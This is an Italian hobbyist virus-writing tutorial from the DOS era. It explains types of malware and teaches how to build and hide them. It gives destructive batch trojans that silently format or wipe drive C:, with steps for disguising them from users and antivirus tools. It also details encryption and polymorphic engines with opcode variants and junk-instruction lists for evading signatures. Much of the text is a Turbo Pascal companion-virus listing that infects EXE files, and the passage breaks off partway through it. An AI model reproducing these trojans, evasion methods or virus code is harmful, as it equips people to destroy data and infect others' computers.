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VěRű§
Virus (veri virus) I-II Parte
<------------------------->
Teoria & Tecnica della Programmazione Virale
INTRODUZIONE
Cos'e un virus informatico? Analogamente ai virus biologici, un parassita
informatico Š un organismo capace di replicarsi tramite portatori sani e capace
di causare malfunzionamenti al sistema. E' ovvio che nel paragone con la parola
organismo si vuole intendere un blocco di codice, di istruzioni,
fondalmentalmente un virus informatico Š solo un programmma, diverso da quelli
normali, magari anche un po' intelligente, ma sempre un programma. Gli studi
condotti sui virus informatici finora hanno classificato e ripartito i
parassiti in diverse specie: la prima differenza Š a livello generale, la
seconda classificazione invece Š pi— specifica (riguarda il codice e le
funzioni proprie del virus stesso).
Iř CLASSIFICAZIONE
- trojan horse (=cavallo di troia)
- virus
- worm (=verme)
TROJAN HORSE
Un trojan horse non Š propriamente un virus, ma un programma distruttivo pronto
a esplodere. Con questo si vuole intendere che mentre lo scopo del virus Š
cercare di restare nascosto il pi— possibile e replicarsi, lo scopo del cavallo
di troia Š danneggiare esplicitamente un sistema. Sono chiamati trojan horse
perch‚ di solito vengono distribuiti sotto false spoglie, magari fingendo di
essere programmi ambiti o molto ricercati dall'utenza. Famosi trojan horse
furono quelli che reclamavano il PKZIP300B. Alcuni esempi pratici? I BAT-trojan
horse sono i pi— semplici e efficaci da costruire, usando un qualsiasi editor
di testo:
C:\>EDIT TROJAN1.BAT
@FORMAT C: /AUTOTEST
C:\>EDIT TROJAN2.BAT
@DELTREE /y C:\*.*
Il carattere "@" serve a nascondere l'echo su schermo del comando (altrimenti
l'utente si accorgerebbe subito di cosa succede). Nel primo caso viene
utilizzata una piccola backdoor del comando FORMAT, precisamente il parametro
/AUTOTEST. Di solito l'esecuzione di questo comando a rischio chiede sempre
all'utente di ripensarci, prima di avviare la formattazione.
C:\>FORMAT C:
ATTENZIONE: TUTTI I DATI SUL DISCO FISSO C: ANDRANNO PERSI
Continuare con la formattazione (S/N)?
Tuttavia usando /AUTOTEST questa richiesta non viene effettuata e parte
direttamente la formattazione del disco (non si sa perch‚ la Microsoft abbia
lasciato questo strano parametro). Stessa cosa per il comando DELTREE, che
combinato con l'opzione /y rimuove tutti i files e tutte le cartelle dal disco
C. Varianti simili si possono ottenere con il normale comando DEL del DOS. Per
rendere uno di questi trojan horse pi— infido e intercettabile dall'utente
ignaro potete procedere come segue:
- create il file BAT col trojan senza usare il comando @
- usate una utility tipo BAT2COM per convertire il file BAT in un eseguibile
COM
- per rendere la dimensione del trojan pi— grande (quindi pi— credibile) usate
COPY /B trojan.com + command.com final.com
- comprimete il file FINAL.COM usando PKLITE.COM oppure DIET, ICE
In questo modo sar… veramente difficile rilevare il trojan nel file, anche per
un antivirus. Rientrano nella categoria anche le Logic Bomb (=bombe logiche)
che sono dei particolari trojan attivati da un evento temporale o dal
verificarsi di una certa condizione.
WORM
Concetto pi— avanzato di virus, si pu• definire come un virus che viaggia e si
riproduce lungo le reti. Il pi— famoso nella storia Š quello di Robert Morris
jr., giovane americano che negli anni '80 riuscŤ a mandare in tilt migliaia di
computer a causa di una replicazione incontrollata del suo verme, che sfruttava
un vecchio bug del sendmail. Oggi non esistono ancora worm perfezionati a tal
punto da propagarsi cosŤ rapidamente, questo anche a causa dei numerosi e
diversi sistemi presenti su Internet, ma tuttavia Unix/Linux e Java sembrano
terreno fertile per lo sviluppo dei worm.
VIRUS
Ecco l'argomento principale di cui ci occuperemo. I virus, studiati ormai da
anni, sono classificati in modo specifico in base al funzionamento.
IIř CLASSIFICAZIONE
I- FLOPPY BOOT e MBR VIRUS
Infettano un particolare settore dei dischi, quello iniziale, di avvio. Nei
dischetti tale settore contiene il codice che visualizza il famoso messaggio:
"Disco non di avvio / Sostituire il disco e premere un tasto". Nel disco
rigido invece si parla di Master Boot Record (=record di avviamento principale)
meglio conosciuto come MBR. Furono i primi virus ad essere creati e a
diffondersi rapidamente, oggi in fase di estizione a causa dell'accesso 32-bit
di Windows 95 ai dischi.
Virus famosi: Form, PingPong, Stoned, AntiEXE, NYB-B1, DiskKiller, Michelangelo
II- DOS-EXEC FILE VIRUS
Stragrande maggioranza di virus, capaci di infettare i files eseguibili del
sistema operativo.
I loro bersagli preferiti sono i file COM e EXE del DOS. Rientrano in questa
categoria anche alcuni virus che infettano i normali file BAT, facilmente
scopribili. Oggi in via di estinzione.
Virus famosi: November 17, Jerusalem, Ontario, Vienna
III- WIN-EXEC FILE VIRUS
Nuovi virus, che possono infettare diversi tipi di oggetti:
NE-EXE NewExecutable File EXE per Windows 3.1 16-bit
SCR ScreenSaver File SCR per Windows 3.1 16-bit
PE-EXE PortableExecutable File EXE per Windows 95 32-bit
VXD Device Driver File VXD per Windows 95 32-bit
Esistono solo una quindicina di virus di questo tipo, ancora non tanto
perfezionati.
IV- MACRO VIRUS
La moda del momento, ovvero i virus scritti in VBA (Visual Basic for
Application). Sono virus multipiattaforma (possono funzionare sia su sistemi
Windows che su Macintosh) in quanto non dipendono dal sistema operativo ma da
una particolare applicazione che consente l'uso di macro, cioŠ di comandi
automatici. Ecco i programmi suscettibili a questo tipo di infezione:
MS-WORD 6.0 - 95 - 97 File di tipo DOC
MS-EXCEL 5.0 - 95 - 97 File di tipo XLS
LOTUS AMIPRO File di tipo SAM, SMM
esiste poi una categoria di applicazioni "a rischio" ancora in fase di
sperimentazione (Lotus 1-2-3) e in genere tutte le applicazioni che permettono
l'uso di macro.
Virus famosi: Concept, Wazzu, Laroux, Alliance
V- MULTIPARTITO
Quando un virus riesce ad infettare diversi oggetti di quelli sopra elencati,
si definisce multipartito. Esempi:
Flip.2153 MBR + DOS-EXEC
Junkie.1027 FLOPPY + MBR + DOS-EXEC
Win.Apparition WIN-EXEC + MACRO
Win.Ph33r DOS-EXEC + WIN-EXEC
Esiste infine un'ultima suddivisione, fatta in base alla tipologia di virus,
cioŠ guardando proprio le funzioni e il codice interno del programma-virus.
IIIř CLASSIFICAZIONE
I- Virus COMPANION
Virus elementari, molto facili da rimuovere che sfruttano un buco offerto dal
DOS. Sotto DOS esiste una grossa ambiguit… quando si verifica una condizione
simile: una directory contiene 2 files (PIPPO.COM e PIPPO.EXE), lanciando il
comando "C:\>PIPPO" senza specificare null'altro, quale dei due files sar…
caricato prima? Ebbene il sistema Microsoft carica sempre prima i file COM
quando viene specificata l'estensione, per cui Š facile intuire come si
comportano i virus Companion:
- cerca un file .EXE nella directory
- crea un secondo file, con lo stesso identico nome ma con estensione .COM
- nascondi il file .COM per ingannare l'utente (ATTRIB +H)
Quando l'utente digita "PIPPO", crede di aver caricato "PIPPO.EXE", quando in
realt… non sa che Š stato avviato il virus conenuto in "PIPPO.COM" che di certo
avr… infettato un altro file.
II- Virus AZIONE DIRETTA
Si chiamano cosŤ perch‚ agiscono direttamente infettando i files delle
directory. Ogni volta che un programma infetto viene eseguito, il virus esegue
una scansione dei files presenti nella directory corrente (o in altre directory
predefinite come C:\DOS, C:\, C:\WINDOWS) alla ricerca di possibili "vittime".
Una volta trovato un "ospite", il virus lo contagia e quindi passa ad eseguire
il programma originale per non destare i sospetti dell'utente.
III- Virus TSR
Categoria gi… pi— complessa di virus, in quanto riesce a rimanere attiva, di
nascosto, all'interno del sistema operativo, sostituendo parti di esso. I virus
TSR (Terminate and Stay Resident) riservano una porzione di memoria per s‚
stessi (solitamente memoria alta) o sfruttano dei buchi di RAM non usati dal
DOS dove potersi copiare, quindi acquistano una priorit… maggiore rispetto al
sistema operativo stesso per alcune operazioni "a rischio" come apertura di un
file, esecuzione di un file, rename, attrib, accesso a un dischetto, ecc.
Ognuna di queste operazioni pu• essere intercettata dal parassita che prima di
eseguire la vera procedura, infetta l'oggetto in uso (file o dischetto).
IV- Virus STEALTH
Quando un virus Š attivo in memoria, pu• interferire col sistema operativo e
pu• farlo anche bene. La simbiosi pu• essere tale che il parassita prende il
controllo totale su alcune funzioni base del DOS. Tra le cose che un virus pu•
fare ovviamente rientra la capacit… di far apparire tutto normale, cioŠ
nascondere tutti i sintomi e i segnali di allarme che possano farlo
individuare. Questa tecnica Š detta "stealth" ed esistono varianti notevoli di
questo furbo stratagemma:
SIZE HIDING
Se un virus X Š lungo 100 bytes, tutti i files infetti avranno la loro
dimensione aumentata di 100. Un virus pu• intercettare il comando "DIR" e
sottrarre il valore 100 alla dimensione dei file infetti, facendoli sembrare
non infetti all'output del comando.
MBR STEALTH
Un virus che infetta l'MBR, salva una copia del vecchio master boot record
prima di sostituirlo con il codice virale. Quando un antivirus va a leggere
l'MBR, il parassita intercetta la lettura e restituisce la copia originale
salvata, mascherando l'infezione presente.
CLEAN ON-THE-FLY
Il virus pu• intercettare tutte le operazioni di lettura sui files e
modificarne l'output. Se ad esempio un programma prova a leggere un file
infetto, il virus, attivo in memoria, intercetta l'operazione e ripulisce il
file prima della lettura, rendendolo trasparente al controllo. Una volta finita
l'operazione, il virus re-infetta il file. E' questo uno dei metodi pi—
efficaci, che riesce ad annullare anche i controlli tramite CRC-checksum.
V- Virus ENCRYPTED (=cifrati)
Un virus Š un programma come tanti altri, quindi formato da righe di codice.
Ogni virus viene infatti identificato dall'antivirus attraverso una particolare
sequenza di istruzioni in linguaggio macchina (stringa) che Š propria di ogni
parassita. Questa stringa non Š altro che una serie di bytes, ognuno dei quali
corrisponde ad una istruzione assembler o a un testo particolare racchiuso nel
virus. Ad esempio in tutti i files infetti dal virus Tai-Pan.438 Š possibile
leggere questa stringa "[Whisper presenterar Tai-Pan]", il che rende il virus
facilmente identificabile. Meglio ancora Š l'identificazione tramite il codice
vero e proprio del virus: tutti i files infetti dal virus Tai-Pan.438 infatti
presentano queste istruzioni:
Bytes Codice Macchina
E80000 CALL xxxx
5E POP SI
83EE03 SUB SI,+03
B8CE7B MOV AX,7BCE
CD21 INT 21
3DCE7B CMP AX,7BCE
7517 JNZ yyyy
0E PUSH CS
1F POP DS
dove "xxxx" e "yyyy" sono valori generici che cambiano per ogni file. Quindi il
virus Tai-Pan Š riconoscibile ricercando questa stringa esadecimale
"E800005E83EE03B8CE7BCD213DCE7B75170E1F". Per ovviare questo riconoscimento ed
essere meno riconoscibili i virus ricorrono alla cifratura del codice
(encryption). Il codice cioŠ si presenta in questo modo:
VIRUS NON CIFRATO VIRUS CIFRATO
1: istr1 0: DECIFRATORE
2: istr2 1: istrX
3: istr3 2: istrY
4: __.. 3: istrZ
5: "esempio" 4: ____.
5: "hqhrtac"
Il virus non cifrato Š facilmente riconoscibile dalle istruzioni che lo
compongono e anche dalla stringa di testo "esempio" presente al suo interno. Lo
stesso virus, in forma cifrata, diventa irriconoscibile, poich‚ ogni istruzione
viene camuffata e trasformata in un'altra totalmente diversa di significato;
cosŤ anche il testo, diventa una stringa incomprensibile. Inoltre il sistema di
cifratura utilizza una chiave (di solito 8/16-bit) che pu• essere fissa ma
anche variabile, cioŠ mutevole ad ogni infezione. Questo significa che il corpo
cifrato del virus varia per ogni file infetto. Ovviamente in capo al virus deve
esserci un decifratore capace di riportare allo stato originale il codice del
virus. Ecco ad esempio il motore cifrante dello Junkie.1027, presente sempre in
testa al virus:
Riga Bytes Istruzione
0001: BE8FE0 MOV SI,0008
0002: B9F401 MOV CX,01F4
0003: 26 ES:
0004: 8134BC2E XOR WORD PTR [SI],2EBC
0005: 46 INC SI
0006: 46 INC SI
0007: E2F7 LOOP $0001
0008: %qui inizia il corpo del virus in forma cifrata
La prima istruzione punta l'inizio del corpo del virus (riga 0008); la seconda
imposta il numero di bytes da decifrare, solitamente corrispondente alla
lunghezza del virus stesso (01F4 = 500 WORD = 1000 BYTES Ż 1027). Ecco di
seguito l'operatore crittografico "XOR" che lavora usando una chiave a 16-bit
(1 WORD). Quindi ci sono le istruzioni di scarto per passare alla word
successiva e infine l'istruzione ciclica LOOP. Questo Š un esempio generico di
motore crittografico, le varianti possono essere le pi— svariate, a partire
dagli operatori matematici usati (XOR, ADD, SUB, NOT, ADC, SBB) o sulle
istruzioni cicliche (cambiabili con salti condizionati JZ, JNZ).
VI- Virus POLIMORFICI
Utilizzando la tecnica della cifratura un virus diventa riconoscibile solo ed
esclusivamente dal suo motore crittografico, ma usando le opportune accortezze
Š possibile realizzare dei parassiti che modificano questo motore cifrante ad
ogni infezione. CosŤ Š difficile che 2 files infetti dallo stesso virus
risultino simili. Questa tecnica, denominata polimorfismo, viene realizzata sia
usando dei tools esterni (MtE, TPE, DAME, DSCE, SMEG) che vengono linkati al
corpo del virus, sia scrivendo un proprio codice polimorfico all'interno del
virus.
Grosso modo una routine polimorfa segue questo schema di funzionamento:
- la prima cosa da fare Š scrivere un motore crittografico molto flessibile,
dove le istruzioni possano essere scambiate, usando diversi operatori
crittografici, il motore dello Junkie.1027 visto prima pu• andare bene:
0001: BE0800 MOV SI,0008
0002: B9F401 MOV CX,01F4
0003: 26 ES:
0004: 8134BC2E XOR WORD PTR [SI],2EBC
0005: 46 INC SI
0006: 46 INC SI
0007: E2F7 LOOP $0001
0008: %qui inizia il corpo del virus in forma cifrata
l'operatore crittografico XOR pu• essere variato, usando ad esempio ADD e SUB
che generano i seguenti codici:
0004: 8104BC2E ADD WORD PTR [SI],2EBC
0004: 812CBC2E SUB WORD PTR [SI],2EBC
abbiamo in totale quindi 3 trasformazioni del nostro motore (XOR, ADD, SUB),
dove per• cambia solo un bytes. Un'altra variazione si pu• operare sul segmento
dati ES, nei file COM possiamo usare in alternativa anche i segmenti DS e CS.
0003: 2E CS:
0003: 3E DS:
Con quest'altre due variazioni il numero di trasformazioni cresce a 9, con due
bytes di differenza. Altra modifica possibile Š sul registro di indirizzamento
dati SI, che pu• essere alternato con DI e BX generando numerose varianti di
codice:
Usando BX
0001: BB0800 MOV BX,0008
/ 8137BC2E XOR WORD PTR [BX],2EBC
0004: - | 8107BC2E ADD WORD PTR [BX],2EBC
\ 812FBC2E SUB WORD PTR [BX],2EBC
0005: 46 INC BX
Usando SI
0001: BF0800 MOV DI,0008
/ 8135BC2E XOR WORD PTR [DI],2EBC
0004: - | 8105BC2E ADD WORD PTR [DI,2EBC
\ 812DBC2E SUB WORD PTR [DI],2EBC
0005: 47 INC DI
In questo modo le combinazioni ottenute crescono veramente tanto e il motore si
riduce a qualcosa del tipo:
0001: ??0800 MOV ??,0008
0002: B9F401 MOV CX,01F4
0003: ?? ??:
0004: 81??BC2E ?? WORD PTR [??],2EBC
0005: ?? INC ??
0006: ?? INC ??
0007: E2F7 LOOP $0001
Dove l'indirizzo "0008" e la chiave di cifratura "2EBC" variano da file a file,
quindi la stringa del virus si riduce a soli 6 bytes costanti:
"?? ?? ?? B9 F4 01 ?? 81 ?? ?? ?? ?? ?? E2 F7"
niente male, davvero! Si pu• ancora migliorare il polimorfismo di questo motore
usando le "junk instruction", ovvero del codice inutile e indifferente che pu•
essere inserito per spezzare i bytes costanti. Ecco alcuni esempi di junk che
non alterano il codice di un programma:
- aggiunge il valore "0" a un registro 16-bit
050000 ADD AX,0000
83C600 ADD SI,+00
83C500 ADD BP,+00
- toglie il valore "0" a un registro 16-bit
83EB00 SUB BX,+00
83EF00 SUB DI,+00
83EC00 SUB SP,+00
- stesse di prima ma su registri a 8-bit
0400 ADD AL,00
80E900 SUB CL,00
- PUSH e POP una dietro l'altra
50 PUSH AX
58 POP AX
- caricamento di un registro 16-bit con s‚ stesso
89C0 MOV AX,AX
89FF MOV DI,DI
89ED MOV BP,BP
- caricamento di un registro 16-bit con s‚ stesso
87DB XCHG BX,BX
87F6 XCHG SI,SI
87E4 XCHG SP,SP
- stesse di prima ma su registri a 8-bit
88C0 MOV AL,AL
88F6 MOV DH,DH
86DB XCHG BL,BL
86ED XCHG CH,CH
- salti condizionali inutili (0-jump)
EB00 JMP seguente
7500 JNZ seguente
7400 JZ seguente
7F00 JG seguente
7700 JA seguente
E la lista potrebbe continuare, c'Š solo l'imbarazzo della scelta. Inserendo
istruzioni di questo tipo dentro al codice non solo si sende il codice pi—
contorto da districare, ma si rende la lunghezza della stringa variabile,
modificando ogni volta la posizione dei pochi bytes costanti rimasti.
PRIMA LEZIONE
Programmazione di un virus Companion usando Turbo Pascal
La maggioranza dei virus viene scritta in linguaggi a basso livello, che
operano pi— velocemente e pi— vicino al cuore del sistema operativo; tuttavia
tentativi di realizzare virus usando linguaggi ad alto livello (tipo BASIC,
C++, PASCAL) sono stati fatti, con risultati pi— o meno buoni. Questa specie di
virus viene identificata dalla sigla "HLLx", che sta per "High Level Language"
mentre la "x" identifica meglio il tipo di parassita:
O=overwriting virus (virus che sovrascrive i files durante le infezioni, con
danni irreparabili)
C=companion virus
P=parasitic virus
L'esempio di questa lezione sar… un semplice virus di tipo Companion (HLLC
quindi) scritto usando il pi— comune dei linguaggi: il Turbo Pascal. E'
richiesta solo una conoscenza base (non approfondita) del linguaggio per capire
il listato del virus.
}--------------------------> INIZIO <---------------------------{
{Type: COMPANION VIRUS
Desc: Ricerca e infetta 1 file EXE, creando il file COM corrispondente con una
copia del virus. Ogni dir contiene al massimo 3 file EXE infetti}
{$M 1024,0,1024} {Direttive al compilatore per ottimizzare l'uso
di memoria RAM}
PROGRAM VIRUS_SAMPLE1;
USES DOS,CRT,STRINGS;
TYPE CHARFILE=FILE OF CHAR;
VAR File1,File2: SearchRec;
VirFile: string[12];
F,G: CHARFILE;
anno, mese, giorno, nomegiorno: Word;
{Ricava il nome del file COM dall'EXE trovato}
PROCEDURE ConverteNomeEXE(VAR File1:SearchRec);
VAR i:integer;
BEGIN
i:=0;
WHILE (i<=8) AND (File1.Name[i]<>'.') DO BEGIN
VirFile[i]:=File1.Name[i];
inc(i);
END;
virfile[i]:='.';
virfile[i+1]:='C';
virfile[i+2]:='O';
virfile[i+3]:='M';
END;
{Riceve un file Sorgente e uno Destinazione e li copia}
PROCEDURE CopiaFile(VAR S,D:CHARFILE);
VAR byte:char;
BEGIN
ASSIGN(D,VirFile); ASSIGN(S,File2.Name);
REWRITE(D); RESET(S);
WHILE NOT EOF(S) DO BEGIN
READ(S,byte);
WRITE(D,byte);
END;
CLOSE(S); CLOSE(D);
END;
{Modifica il file COM per eseguire l'applicazione ospite}
PROCEDURE ModificaFile(VAR F:CHARFILE);
VAR i:integer; byte:char;
BEGIN
RESET(F);
SEEK(F,1081);
i:=0;
WHILE (i<=8) AND (File1.Name[i]<>'.') DO BEGIN
WRITE(F,File1.Name[i]);
inc(i);
END;
byte:='.'; WRITE(F,byte);
byte:='E'; WRITE(F,byte);
byte:='X'; WRITE(F,byte);
byte:='E'; WRITE(F,byte);
byte:=chr(00); WRITE(F,byte);
CLOSE(F);
END;
{Main}
BEGIN
ClrScr; {cancella lo schermo}
FindFirst('*.EXE', Archive, File1); {cerca il primo file EXE}
{se Š stato trovato almeno un file EXE si prosegue}
IF DosError = 0 THEN BEGIN
ConverteNomeEXE(File1);
{Vede se esiste gi… un COM nascosto, quindi il file Š gi… infetto}
FindFirst(VirFile, Hidden, File2);
{se non esiste c'Š errore e si pu• procedere con l'infezione}
IF DosError<>0 THEN BEGIN
FindFirst('*.COM', Hidden, File2);
CopiaFile(G,F);
ModificaFile(F);
SetFAttr(F, 34);
END
ELSE BEGIN
{se il primo EXE Š gi… infetto cerca il secondo EXE}
FindNext(File1);
ConverteNomeEXE(File1);
FindFirst(VirFile, Hidden, File2);
IF DosError<>0 THEN BEGIN
FindFirst('*.COM', Hidden, File2);
CopiaFile(G,F);
ModificaFile(F);
SetFAttr(F, 34);
END
ELSE BEGIN
{se il secondo EXE Š gi… infetto cerca il terzo EXE}
FindNext(File1);
ConverteNomeEXE(File1);
FindFirst(VirFile, Hidden, File2);
IF DosError<>0 THEN BEGIN
FindFirst('*.COM', Hidden, File2);
CopiaFile(G,F);